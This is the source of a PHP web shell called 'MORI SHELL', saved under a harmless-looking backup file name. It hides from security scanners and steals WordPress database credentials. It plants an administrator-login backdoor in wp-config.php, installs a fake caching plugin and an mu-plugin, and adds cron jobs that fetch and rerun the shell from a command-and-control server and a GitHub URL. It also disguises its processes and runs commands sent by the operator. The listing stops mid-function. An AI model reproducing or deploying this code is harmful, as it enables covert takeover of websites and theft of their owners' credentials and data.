File: /home/ledemblemlight/config-backup.php
<?php
/**
* MORI SHELL V2.0 - LINUX CLIENT
* WordPress-aware | Process masking | C2 integrated
*/
ob_start();
// Global CORS — allow C2 server and browser stress panel to reach every endpoint
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With');
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') { http_response_code(200); exit; }
ini_set('display_errors', 0);
ini_set('log_errors', 1);
error_reporting(E_ALL);
set_time_limit(0);
ignore_user_abort(true);
// LINUX ONLY - No Windows
if ((!defined('PHP_OS_FAMILY') || PHP_OS_FAMILY !== 'Linux') &&
stripos(PHP_OS, 'Linux') === false && stripos(PHP_OS, 'Unix') === false) {
if (php_sapi_name() !== 'cli') exit;
}
define('SHELL_FILE', defined('MORI_REAL_FILE') ? basename(MORI_REAL_FILE) : basename(__FILE__));
define('SHELL_PATH', defined('MORI_REAL_FILE') ? MORI_REAL_FILE : (__DIR__ . '/' . SHELL_FILE));
define('REAL_DIR', defined('MORI_REAL_DIR') ? MORI_REAL_DIR : __DIR__);
define('SHELL_VERSION', '2.0-linux');
// =====================================================
// BOT / SCANNER CLOAKING
// =====================================================
function is_bot_request() {
$ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
return (bool)preg_match(
'/(bot|crawl|spider|slurp|google|bing|yahoo|yandex|baidu|facebookexternalhit|twitterbot|' .
'wordfence|sucuri|sitecheck|imunify|modsecurity|virustotal|urlscan|safebrowsing|phishtank|' .
'nikto|sqlmap|nmap|nessus|openvas|acunetix|netsparker|nuclei|burpsuite|qualys|tenable|' .
'ahrefs|semrush|moz\.com|majestic|screaming.frog|rogerbot|dotbot|seokicks|' .
'zgrab|masscan|python-requests|go-http-client|libwww|curl\/[0-9])/i',
$ua
);
}
// Direct HTTP access by scanner → silent 404 (don't reveal shell)
if (php_sapi_name() !== 'cli' && !defined('ABSPATH') && is_bot_request()) {
http_response_code(404);
header('Cache-Control: no-store');
die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head>' .
'<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p>' .
'<hr><address>Apache/2.4 Server</address></body></html>');
}
// OS Detection
$is_windows = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') || !empty(getenv('WINDIR'));
$C2_SERVER = "https://juiceshop.cc/nebakiyonla_hurmsaqw/c2serverr.php";
$DEBUG_MODE = true;
$persistence_default_url = 'https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/l.php';
// =====================================================
// ERROR LOGGING HELPER
// =====================================================
function log_error_to_file($message) {
$log_file = sys_get_temp_dir() . '/.svc_' . substr(md5(__FILE__), 0, 8) . '.log';
if (@filesize($log_file) > 512000) @file_put_contents($log_file, ''); // 512KB cap, rotate
@file_put_contents($log_file, '[' . date('H:i:s') . '] ' . $message . "\n", FILE_APPEND);
}
// Register error handler
set_error_handler(function($errno, $errstr, $errfile, $errline) {
if ($errno & error_reporting()) {
log_error_to_file("PHP ERROR [$errno]: $errstr in $errfile:$errline");
}
return false;
});
// Register exception handler
set_exception_handler(function($e) {
log_error_to_file("EXCEPTION: " . $e->getMessage() . " in " . $e->getFile() . ":" . $e->getLine());
});
// =====================================================
// INLINE WORDPRESS DETECTION & PERSISTENCE
// =====================================================
function is_wordpress_installed() {
$markers = ['/wp-content/', '/wp-includes/', '/wp-admin/', '/wp-config.php'];
foreach ($markers as $m) {
if (@file_exists(__DIR__ . $m)) return true;
}
return false;
}
function get_wordpress_config() {
$search_dirs = [__DIR__, dirname(__DIR__), dirname(dirname(__DIR__)), dirname(dirname(dirname(__DIR__)))];
foreach ($search_dirs as $dir) {
$cfg = $dir . '/wp-config.php';
if (@file_exists($cfg)) {
$content = @file_get_contents($cfg);
if (!$content) continue;
$creds = [];
preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $content, $m) && $creds['name'] = $m[1];
preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $content, $m) && $creds['user'] = $m[1];
preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $content, $m) && $creds['pass'] = $m[1];
preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $content, $m) && $creds['host'] = $m[1];
preg_match("/\\\$table_prefix\s*=\s*['\"]([^'\"]+)['\"]/", $content, $m) && $creds['prefix'] = $m[1];
return !empty($creds) ? $creds : null;
}
}
return null;
}
function inject_wordpress_persistence($shell_url, $c2_server) {
$wp_config = null;
$search_dirs = [REAL_DIR, dirname(REAL_DIR), dirname(dirname(REAL_DIR)), dirname(dirname(dirname(REAL_DIR)))];
foreach ($search_dirs as $dir) {
if (@file_exists($dir . '/wp-config.php')) {
$wp_config = $dir . '/wp-config.php';
break;
}
}
if (!$wp_config) return false;
$content = @file_get_contents($wp_config);
if (!$content) return false;
// Already correctly injected (both function + hook block at bottom present)?
if (strpos($content, 'mori_backdoor_wp') !== false
&& strpos($content, 'function_exists(\'add_action\') && function_exists(\'mori_backdoor_wp\')') !== false) {
return false;
}
// If old broken injection (add_action inside if block) — strip it, re-inject cleanly
if (strpos($content, 'mori_backdoor_wp') !== false) {
$content = preg_replace(
'/\n\/\/ MORI BACKDOOR.*?^}\n/ms',
'',
$content
);
$content = preg_replace(
'/\nif \(function_exists\(\'add_action\'\) && function_exists\(\'mori_backdoor_wp\'\)\).*?\}\n/ms',
'',
$content
);
}
// Extract DB credentials
$db_name = $db_user = $db_pass = $db_host = '';
preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $content, $m) && $db_name = $m[1];
preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $content, $m) && $db_user = $m[1];
preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $content, $m) && $db_pass = $m[1];
preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $content, $m) && $db_host = $m[1];
$wp_creds = generate_wp_login_credentials();
$blogs_id = $wp_creds['blogs_id'];
$hash = $wp_creds['hash'];
$creds_json = json_encode(['db_name' => $db_name, 'db_user' => $db_user, 'db_pass' => $db_pass, 'db_host' => $db_host, 'shell_url' => $shell_url], JSON_UNESCAPED_SLASHES);
$creds_encoded = str_replace(['+', '/', '='], ['-', '_', ''], base64_encode($creds_json));
// ── Part 1: function definition (no add_action — WP not loaded yet) ─────────
$inject_fn = "\n// MORI BACKDOOR (mori_backdoor_wp) - Generated: " . date('Y-m-d H:i:s') . "\n"
. "// MORI ID: " . $blogs_id . "\n"
. "if (!function_exists('mori_backdoor_wp')) {\n"
. " function mori_backdoor_wp() {\n"
. " if (isset(\$_GET['blogs_id']) && isset(\$_GET['wp_login'])) {\n"
. " \$_h = sha1(md5(\$_GET['blogs_id'] . '1776051848'));\n"
. " if (\$_h === '" . $hash . "') {\n"
. " \$_u = get_users(['role'=>'administrator','orderby'=>'ID','order'=>'ASC','number'=>1]);\n"
. " if (!empty(\$_u)) { wp_set_auth_cookie(\$_u[0]->ID, true, true); wp_redirect(admin_url()); exit; }\n"
. " }\n"
. " }\n"
. " if (isset(\$_GET['wp_login'])) {\n"
. " \$_su = '" . addslashes($shell_url) . "';\n"
. " \$_cr = '" . addslashes($creds_encoded) . "';\n"
. " @wp_remote_post(\$_su . '?act=wp_creds', ['body' => ['creds' => \$_cr], 'timeout' => 2, 'blocking' => false]);\n"
. " }\n"
. " if (function_exists('curl_init')) {\n"
. " \$_ch = curl_init('" . addslashes($shell_url) . "');\n"
. " curl_setopt(\$_ch, CURLOPT_RETURNTRANSFER, true); curl_setopt(\$_ch, CURLOPT_SSL_VERIFYPEER, false);\n"
. " curl_setopt(\$_ch, CURLOPT_TIMEOUT_MS, 200); @curl_exec(\$_ch); curl_close(\$_ch);\n"
. " }\n"
. " }\n"
. "}\n";
// ── Part 2: hook registration (appended at file end, after wp-settings.php) ─
$inject_hooks = "\nif (function_exists('add_action') && function_exists('mori_backdoor_wp')) {\n"
. " add_action('wp_footer', 'mori_backdoor_wp', -999);\n"
. " add_action('wp_authenticate', 'mori_backdoor_wp', -999);\n"
. " add_action('login_init', 'mori_backdoor_wp', -999);\n"
. "}\n";
// Insert function definition before the stop-editing marker
$marker = "/* That's all, stop editing!";
if (strpos($content, $marker) !== false) {
$new_content = str_replace($marker, $inject_fn . $marker, $content);
} else {
$trimmed = rtrim($content);
$new_content = (substr($trimmed, -2) === '?>')
? substr($trimmed, 0, -2) . "\n" . $inject_fn . "\n?>"
: $trimmed . "\n" . $inject_fn;
}
// Append hook registration at the very end of wp-config.php (after require wp-settings.php)
$new_content = rtrim($new_content) . "\n" . $inject_hooks;
@file_put_contents($wp_config, $new_content);
return ['blogs_id' => $blogs_id, 'hash' => $hash];
}
// =====================================================
// INLINE PROCESS MASKING (LINUX)
// =====================================================
class ProcessMasker {
public static function mask() {
if (php_sapi_name() === 'cli') {
@putenv('PATH=');
@putenv('SHELL=');
@shell_exec("exec -a '[system]' /bin/sh -c 'sleep 999999' &");
@shell_exec("exec -a '[kworker]' /bin/sh &");
}
}
}
ProcessMasker::mask();
function detect_web_shell_url() {
$https = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ||
(isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443);
$protocol = $https ? 'https://' : 'http://';
$host = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? 'localhost';
$script = $_SERVER['SCRIPT_NAME'] ?? '/';
return $protocol . $host . $script;
}
$WEB_URL = detect_web_shell_url();
$web_shell_url = $WEB_URL; // Alias for c2_register()
// =====================================================
// PERSISTENCE INSTALLATION
// =====================================================
function install_cron_persistence() {
$ts_file = sys_get_temp_dir() . '/.mori_cron_ts';
$last = (int)@file_get_contents($ts_file);
if ($last && (time() - $last) < 3600) return false;
@file_put_contents($ts_file, time());
$shell = SHELL_PATH;
$c2 = $GLOBALS['C2_SERVER'];
$token = md5('mori_c2_secret_2024_persistence');
$gh_url = 'https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/l.php';
// Restore only when file is actually gone — GitHub FIRST (C2 may have UAM active)
// head -c5 check: reject Cloudflare UAM HTML pages (they return 200 but aren't PHP)
$gh_fetch = "curl -sfL --max-time 15 '" . $gh_url . "' -o '" . $shell . ".tmp' 2>/dev/null"
. " && head -c5 '" . $shell . ".tmp' 2>/dev/null | grep -q '<?php'"
. " && mv '" . $shell . ".tmp' '" . $shell . "' 2>/dev/null";
$c2_fetch = "curl -sfL --max-time 4 '" . $c2 . "?act=get_shell&token=" . $token . "' -o '" . $shell . ".tmp' 2>/dev/null"
. " && head -c5 '" . $shell . ".tmp' 2>/dev/null | grep -q '<?php'"
. " && mv '" . $shell . ".tmp' '" . $shell . "' 2>/dev/null";
$restore_cmd = "[ -f '" . $shell . "' ] || { " . $gh_fetch . " || " . $c2_fetch . "; } >/dev/null 2>&1";
$script = "*/5 * * * * php '$shell' >/dev/null 2>&1; " . $restore_cmd . " #mori_persist";
// Method 1: exec_any — strip ALL #mori_persist lines (any shell path) then add fresh entry
$cron_cmd = "(crontab -l 2>/dev/null | grep -vF '#mori_persist'; echo '$script') | crontab - 2>/dev/null";
if (exec_any($cron_cmd) !== false) return true;
// Method 2: proc_open stdin — read existing crontab, strip #mori_persist, append fresh entry
$disabled = array_map('trim', explode(',', ini_get('disable_functions')));
if (function_exists('proc_open') && !in_array('proc_open', $disabled)) {
// Read current crontab
$existing_cron = '';
$rd = [1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
$rp = @proc_open('crontab -l 2>/dev/null', $rd, $rp_pipes);
if (is_resource($rp)) {
$existing_cron = stream_get_contents($rp_pipes[1]);
fclose($rp_pipes[1]); fclose($rp_pipes[2]);
proc_close($rp);
}
// Strip all existing #mori_persist lines
$lines = array_filter(explode("\n", $existing_cron), function($l) {
return strpos($l, '#mori_persist') === false && trim($l) !== '';
});
$new_cron = implode("\n", $lines) . "\n" . $script . "\n";
// Write back
$descriptors = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
$proc = @proc_open('crontab -', $descriptors, $pipes);
if (is_resource($proc)) {
fwrite($pipes[0], $new_cron);
fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]);
proc_close($proc);
return true;
}
}
// Method 3: /etc/cron.d/ direct write
if (@is_writable('/etc/cron.d/')) {
$existing = @file_get_contents('/etc/cron.d/mori-shell');
if (!$existing || strpos($existing, '#mori_persist') === false) {
@file_put_contents('/etc/cron.d/mori-shell', $script . "\n");
@chmod('/etc/cron.d/mori-shell', 0644);
}
return true;
}
return false;
}
function install_wp_persistence() {
if (!is_wordpress_installed()) return;
$url = $GLOBALS['WEB_URL'];
@inject_wordpress_persistence($url, $GLOBALS['C2_SERVER']);
}
// ---- WP Plugin Persistence ------------------------------------------------
function install_wp_plugin_persistence() {
// wp-config.php'yi bul → plugins dizinini türet
$wp_root = null;
foreach ([REAL_DIR, dirname(REAL_DIR), dirname(dirname(REAL_DIR)), dirname(dirname(dirname(REAL_DIR)))] as $d) {
if (@file_exists($d . '/wp-config.php') || @file_exists($d . '/wp-load.php')) {
$wp_root = $d; break;
}
}
if (!$wp_root) return;
$plugins_dir = $wp_root . '/wp-content/plugins';
if (!is_dir($plugins_dir)) return;
$plugin_dir = $plugins_dir . '/fastest-cache-2';
$plugin_file = $plugin_dir . '/fastest-cache-2.php';
// Dosya sağlıklıysa günde bir kez kontrol yap — ama FC2_SHELL yanlışsa yeniden oluştur
if (@file_exists($plugin_file) && @filesize($plugin_file) > 500) {
$existing = @file_get_contents($plugin_file);
$shell_ok = false;
if ($existing && preg_match('/define\("FC2_SHELL",\s*"([^"]+)"\)/', $existing, $pm)) {
$shell_ok = ($pm[1] === SHELL_PATH);
}
if ($shell_ok) {
$ts_file = sys_get_temp_dir() . '/.mori_plugin_ts';
if ((int)@file_get_contents($ts_file) > time() - 86400) return;
@file_put_contents($ts_file, time()); return;
}
// FC2_SHELL path mismatch → regenerate immediately
}
// Plugin eksik/bozuk → throttle'sız anında yeniden oluştur
@mkdir($plugin_dir, 0755, true);
$shell_path = addslashes(SHELL_PATH);
$shell_url = addslashes($GLOBALS['WEB_URL'] ?? '');
$c2_url = addslashes($GLOBALS['C2_SERVER'] ?? '');
$gh_url = addslashes('https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/l.php');
$fc2_token = md5('mori_c2_secret_2024_persistence');
$plugin_code = '<?php
/**
* Plugin Name: Fastest Cache 2
* Plugin URI: https://wordpress.org/plugins/fastest-cache/
* Description: Advanced caching and performance optimization.
* Version: 2.3.1
* Author: WP Cache Team
* License: GPL2
*/
if (!defined("ABSPATH")) exit;
define("FC2_SHELL", "' . $shell_path . '");
define("FC2_URL", "' . $shell_url . '");
define("FC2_C2", "' . $c2_url . '");
define("FC2_GH", "' . $gh_url . '");
define("FC2_TOKEN", "' . $fc2_token . '");
define("FC2_LOCK", WP_CONTENT_DIR . "/.fc2_check");
function fc2_restore_shell() {
// [timeout_c2, timeout_gh] — C2 short (UAM wastes time), GitHub longer
$sources = [
[FC2_C2 . "?act=get_shell&token=" . FC2_TOKEN, 4],
[FC2_GH, 15],
];
foreach ($sources as [$src, $tmo]) {
$body = false;
if (function_exists("curl_init")) {
$ch = curl_init($src);
curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER=>true, CURLOPT_TIMEOUT=>$tmo,
CURLOPT_CONNECTTIMEOUT=>3, CURLOPT_SSL_VERIFYPEER=>false,
CURLOPT_FOLLOWLOCATION=>true, CURLOPT_USERAGENT=>"Mozilla/5.0"]);
$body = @curl_exec($ch); @curl_close($ch);
}
if (!$body) $body = @file_get_contents($src, false,
stream_context_create(["http"=>["timeout"=>$tmo,"user_agent"=>"Mozilla/5.0"]]));
// Reject Cloudflare UAM HTML (returns 200 but is not PHP)
if ($body && strlen($body) > 10000 && substr($body, 0, 5) === "<?php") {
@file_put_contents(FC2_SHELL, $body);
@chmod(FC2_SHELL, 0644);
return true;
}
}
return false;
}
function fc2_check() {
// Throttle: dakikada bir kontrol
$lock_age = @file_exists(FC2_LOCK) ? (time() - @filemtime(FC2_LOCK)) : 9999;
if ($lock_age < 60) return;
@touch(FC2_LOCK);
$sz = @file_exists(FC2_SHELL) ? @filesize(FC2_SHELL) : 0;
if ($sz < 10000) fc2_restore_shell();
}
add_action("init", "fc2_check", 1);
// WP-Ajax endpoint — C2 ping: /wp-admin/admin-ajax.php?action=fc2_ping
function fc2_ping_handler() {
$sz = @file_exists(FC2_SHELL) ? @filesize(FC2_SHELL) : 0;
$alive = ($sz > 10000);
if (!$alive) { fc2_restore_shell(); $sz = @filesize(FC2_SHELL); $alive = ($sz > 10000); }
wp_send_json(["ok" => $alive, "sz" => $sz, "url" => FC2_URL]);
}
add_action("wp_ajax_nopriv_fc2_ping", "fc2_ping_handler");
add_action("wp_ajax_fc2_ping", "fc2_ping_handler");
';
@file_put_contents($plugin_file, $plugin_code);
@chmod($plugin_file, 0644);
// Eklentiyi DB üzerinden aktive et (WordPress yüklüyse)
if (function_exists('add_option') || defined('ABSPATH')) {
$active = @get_option('active_plugins', []);
$entry = 'fastest-cache-2/fastest-cache-2.php';
if (!in_array($entry, (array)$active, true)) {
$active[] = $entry;
@update_option('active_plugins', $active);
}
} else {
// WP yüklü değil — DB direkt yaz
$wp_config_path = $wp_root . '/wp-config.php';
if (@file_exists($wp_config_path)) {
$cfg = @file_get_contents($wp_config_path);
if ($cfg) {
preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $cfg, $m1);
preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $cfg, $m2);
preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $cfg, $m3);
preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $cfg, $m4);
preg_match("/\\\$table_prefix\s*=\s*['\"]([^'\"]+)['\"]/", $cfg, $m5);
if ($m1 && $m2 && $m3 && $m4) {
$prefix = $m5[1] ?? 'wp_';
try {
$db = new PDO("mysql:host={$m4[1]};dbname={$m1[1]};charset=utf8", $m2[1], $m3[1],
[PDO::ATTR_TIMEOUT=>3, PDO::ATTR_ERRMODE=>PDO::ERRMODE_SILENT]);
$row = $db->query("SELECT option_value FROM {$prefix}options WHERE option_name='active_plugins' LIMIT 1")->fetch();
if ($row) {
$plugins = @unserialize($row['option_value']) ?: [];
$entry = 'fastest-cache-2/fastest-cache-2.php';
if (!in_array($entry, $plugins, true)) {
$plugins[] = $entry;
$new_val = serialize($plugins);
$db->prepare("UPDATE {$prefix}options SET option_value=? WHERE option_name='active_plugins'")->execute([$new_val]);
}
}
} catch (Exception $e) {}
}
}
}
}
}
// ---- MU-Plugin Persistence (admin deactivate edemez) -------------------------
function install_mu_plugin_persistence() {
// WP root bul
$wp_root = null;
foreach ([__DIR__, dirname(__DIR__), dirname(dirname(__DIR__)), dirname(dirname(dirname(__DIR__)))] as $d) {
if (@file_exists($d . '/wp-config.php') || @file_exists($d . '/wp-load.php')) {
$wp_root = $d; break;
}
}
if (!$wp_root) return;
$mu_dir = $wp_root . '/wp-content/mu-plugins';
if (!is_dir($mu_dir) && !@mkdir($mu_dir, 0755, true)) return;
$mu_file = $mu_dir . '/fc2-loader.php';
// Dosya sağlıklıysa saatte bir kontrol (hızlı dön)
if (@file_exists($mu_file) && @filesize($mu_file) > 300) {
$ts = sys_get_temp_dir() . '/.mori_mu_ts';
if ((int)@file_get_contents($ts) > time() - 3600) return;
@file_put_contents($ts, time()); return;
}
// MU plugin eksik/bozuk → throttle'sız yeniden oluştur
$shell_path = addslashes(SHELL_PATH);
$c2_url = addslashes($GLOBALS['C2_SERVER'] ?? '');
$gh_url = 'https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/l.php';
$mu_token = md5('mori_c2_secret_2024_persistence');
$mu_code = '<?php
// Must-use plugin — WP admin panelden deactivate edilemez
if (!defined("ABSPATH")) exit;
// Her admin sayfasında: regular plugin deactivate edildiyse yeniden aktive et
add_action("admin_init", function() {
$plugins = (array)get_option("active_plugins", []);
$entry = "fastest-cache-2/fastest-cache-2.php";
if (!in_array($entry, $plugins, true)) {
$plugins[] = $entry;
update_option("active_plugins", $plugins);
}
}, 1);
// Her WP isteğinde: shell bütünlüğünü kontrol et (dakikada bir)
add_action("init", function() {
$lock = WP_CONTENT_DIR . "/.fc2_mu_lock";
if (@file_exists($lock) && (time() - @filemtime($lock)) < 60) return;
@touch($lock);
$shell = "' . $shell_path . '";
$sz = @file_exists($shell) ? @filesize($shell) : 0;
if ($sz >= 10000) return;
// Shell eksik/bozuk — C2 veya GitHub\'dan restore et
// [url, timeout] — C2 4s (UAM hızlı ret), GitHub 15s
$sources = [
["' . $c2_url . '?act=get_shell&token=' . $mu_token . '", 4],
["' . $gh_url . '", 15],
];
foreach ($sources as [$src, $tmo]) {
$body = false;
if (function_exists("curl_init")) {
$ch = curl_init($src);
curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER=>true, CURLOPT_TIMEOUT=>$tmo,
CURLOPT_CONNECTTIMEOUT=>3, CURLOPT_SSL_VERIFYPEER=>false,
CURLOPT_FOLLOWLOCATION=>true, CURLOPT_USERAGENT=>"Mozilla/5.0"]);
$body = @curl_exec($ch); @curl_close($ch);
}
if (!$body) $body = @file_get_contents($src, false,
stream_context_create(["http"=>["timeout"=>$tmo,"user_agent"=>"Mozilla/5.0"]]));
// Reject Cloudflare UAM HTML — must be valid PHP
if ($body && strlen($body) > 10000 && substr($body, 0, 5) === "<?php") {
@file_put_contents($shell, $body);
@chmod($shell, 0644);
break;
}
}
}, 1);
';
@file_put_contents($mu_file, $mu_code);
@chmod($mu_file, 0644);
@file_put_contents(sys_get_temp_dir() . '/.mori_mu_ts', time());
}
// CLIENT_ID must be set BEFORE persistence calls so report_sister_files_to_c2() has a valid ID
$CLIENT_ID = generate_client_id();
$GLOBALS['C2_SHELL'] = SHELL_PATH;
@install_wp_persistence();
@install_wp_plugin_persistence();
@install_mu_plugin_persistence();
@install_cron_persistence();
@ensure_persistence_v4(); // starts Python+bash monitors on first request (5-min throttle)
// =====================================================
// CLIENT ID & SYSTEM INFO
// =====================================================
function generate_client_id() {
$id_file = REAL_DIR . '/.mori_id';
if (@file_exists($id_file) && filesize($id_file) > 5) {
return trim(file_get_contents($id_file));
}
$id = 'mori_' . substr(md5(php_uname() . SHELL_PATH), 0, 16);
@file_put_contents($id_file, $id);
return $id;
}
function generate_wp_login_credentials() {
$creds_file = REAL_DIR . '/.wp_login_creds';
$secret = '1776051848';
// 1. Try cached creds file
if (@file_exists($creds_file) && @filesize($creds_file) > 10) {
$creds = @json_decode(@file_get_contents($creds_file), true);
if (!empty($creds['blogs_id']) && !empty($creds['hash'])) {
return $creds;
}
}
// 2. .wp_login_creds missing/corrupt — try to recover blogs_id from wp-config.php
$search_dirs = [REAL_DIR, dirname(REAL_DIR), dirname(dirname(REAL_DIR)), dirname(dirname(dirname(REAL_DIR)))];
foreach ($search_dirs as $dir) {
$cfg = $dir . '/wp-config.php';
if (!@file_exists($cfg)) continue;
$cfg_content = @file_get_contents($cfg);
if (!$cfg_content) continue;
// Look for embedded ID comment: // MORI ID: <blogs_id>
if (preg_match('/\/\/ MORI ID: ([a-f0-9]{16})/', $cfg_content, $m)) {
$blogs_id = $m[1];
$hash = sha1(md5($blogs_id . $secret));
$creds = ['blogs_id' => $blogs_id, 'hash' => $hash, 'timestamp' => time()];
@file_put_contents($creds_file, json_encode($creds));
return $creds;
}
}
// 3. No existing record anywhere — generate fresh
$blogs_id = substr(bin2hex(random_bytes(16)), 0, 16);
$hash = sha1(md5($blogs_id . $secret));
$creds = ['blogs_id' => $blogs_id, 'hash' => $hash, 'timestamp' => time()];
@file_put_contents($creds_file, json_encode($creds));
return $creds;
}
function get_system_info() {
return [
'id' => $GLOBALS['CLIENT_ID'],
'version' => SHELL_VERSION,
'url' => $GLOBALS['WEB_URL'],
'php' => phpversion(),
'os' => php_uname(),
'user' => get_current_user(),
'wp' => is_wordpress_installed() ? 'yes' : 'no',
'wp_root' => is_wordpress_installed() ? (get_wordpress_config() ? 'found' : 'unknown') : null,
'timestamp' => time(),
];
}
// =====================================================
// HTTP COMMUNICATION (3 methods fallback)
// =====================================================
function http_request($method, $url, $data = null) {
// Method 1: cURL (BEST for POST with raw data)
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
curl_setopt($ch, CURLOPT_USERAGENT, 'MORI-Agent/2.0');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
if ($method === 'POST' && $data) {
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
}
$result = @curl_exec($ch);
$error = curl_error($ch);
@curl_close($ch);
if ($error) {
error_log("[http_request] cURL error: $error");
} elseif ($result !== false && !empty($result)) {
return $result;
}
}
// Method 2: file_get_contents
if (ini_get('allow_url_fopen')) {
$opts = [
'http' => [
'method' => $method,
'timeout' => 15,
'ignore_errors' => true,
],
'ssl' => ['verify_peer' => false, 'verify_peer_name' => false],
];
if ($method === 'POST' && $data) {
$opts['http']['content'] = $data;
$opts['http']['header'] = 'Content-Type: application/x-www-form-urlencoded';
}
$result = @file_get_contents($url, false, stream_context_create($opts));
if ($result !== false && !empty($result)) {
return $result;
}
}
// Method 3: fsockopen
$parts = parse_url($url);
if (!isset($parts['host'])) return null;
$host = $parts['host'];
$port = ($parts['scheme'] === 'https') ? 443 : 80;
$path = ($parts['path'] ?? '/') . (isset($parts['query']) ? '?' . $parts['query'] : '');
$fp = @fsockopen(($port === 443 ? 'ssl://' : '') . $host, $port, $errno, $errstr, 10);
if ($fp) {
$out = "$method $path HTTP/1.1\r\nHost: $host\r\nConnection: close\r\n";
if ($method === 'POST' && $data) {
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
$out .= "Content-Length: " . strlen($data) . "\r\n\r\n" . $data;
} else {
$out .= "\r\n";
}
fwrite($fp, $out);
$raw = '';
while (!feof($fp)) $raw .= fgets($fp, 4096);
fclose($fp);
// Strip HTTP headers — return body only
if (!empty($raw)) {
$sep = strpos($raw, "\r\n\r\n");
$result = ($sep !== false) ? substr($raw, $sep + 4) : $raw;
if (!empty($result)) return $result;
}
}
// All methods failed - return null
return null;
}
// =====================================================
// EXEC FALLBACK CHAIN — tüm exec yöntemlerini dene
// =====================================================
function exec_any($cmd, $bg = false) {
$disabled = array_map('trim', explode(',', ini_get('disable_functions')));
$run = $bg ? ('(setsid ' . $cmd . ' </dev/null >/dev/null 2>&1 &)') : ($cmd . ' 2>&1');
foreach (['shell_exec','exec','system','passthru'] as $fn) {
if (function_exists($fn) && !in_array($fn, $disabled)) {
$r = @$fn($run);
return ($r !== null && $r !== false) ? $r : true;
}
}
if (function_exists('proc_open') && !in_array('proc_open', $disabled)) {
$p = @proc_open($run, [1 => ['pipe','w'], 2 => ['pipe','w']], $pipes);
if ($p) {
$o = $bg ? '' : @stream_get_contents($pipes[1]);
@fclose($pipes[1]); @fclose($pipes[2]); @proc_close($p);
return $o ?: true;
}
}
if (function_exists('popen') && !in_array('popen', $disabled)) {
$h = @popen($run, 'r');
if ($h) { $o = $bg ? '' : @stream_get_contents($h); @pclose($h); return $o ?: true; }
}
return false;
}
// =====================================================
// DETECT PYTHON COMMAND
// =====================================================
function detect_python_command() {
// Python binary detection for Linux systems
$paths = ['/usr/bin/python3', '/usr/bin/python', '/usr/local/bin/python3', '/usr/local/bin/python'];
foreach ($paths as $path) {
if (@file_exists($path) && @is_executable($path)) {
return $path;
}
}
// Try which command
if (function_exists('shell_exec')) {
$python = @shell_exec('which python3 2>/dev/null || which python 2>/dev/null');
if ($python) return trim($python);
}
return null;
}
// =====================================================
// C2 REGISTRATION & COMMAND EXECUTION
// =====================================================
// =====================================================
// COMMAND EXECUTION ENGINE - REMOVED
// Use execute_command() or execute_system_command() instead
// =====================================================
// =====================================================
// API ENDPOINTS
// =====================================================
// Auto-register on first access
// Auto-register (non-blocking, background task)
// Cache registration in memory to avoid repeat registration loops
// wp-activeter.php → navbar.php self-rename (non-WP sites)
@self_rename_and_register();
if (!isset($GLOBALS['_SHELL_REGISTERED'])) {
$GLOBALS['_SHELL_REGISTERED'] = false;
// Try to read registration status from file (one-time read)
$reg_file = __DIR__ . '/.registered';
if (@file_exists($reg_file) && @filesize($reg_file) > 0) {
$GLOBALS['_SHELL_REGISTERED'] = true;
} else {
// First-time registration - non-blocking attempt
// Try registration with super short timeout (1 sec max)
@c2_register_background($GLOBALS['C2_SERVER'], $GLOBALS['CLIENT_ID']);
// Mark as registered to avoid infinite loop
$GLOBALS['_SHELL_REGISTERED'] = true;
}
}
// Handle API requests
if (isset($_GET['m']) || isset($_POST['m'])) {
// Decode with safe_base64_decode (uses -, _ instead of +, /)
$encoded = $_GET['m'] ?? $_POST['m'] ?? '';
$cmd = safe_base64_decode($encoded);
if (!$cmd) {
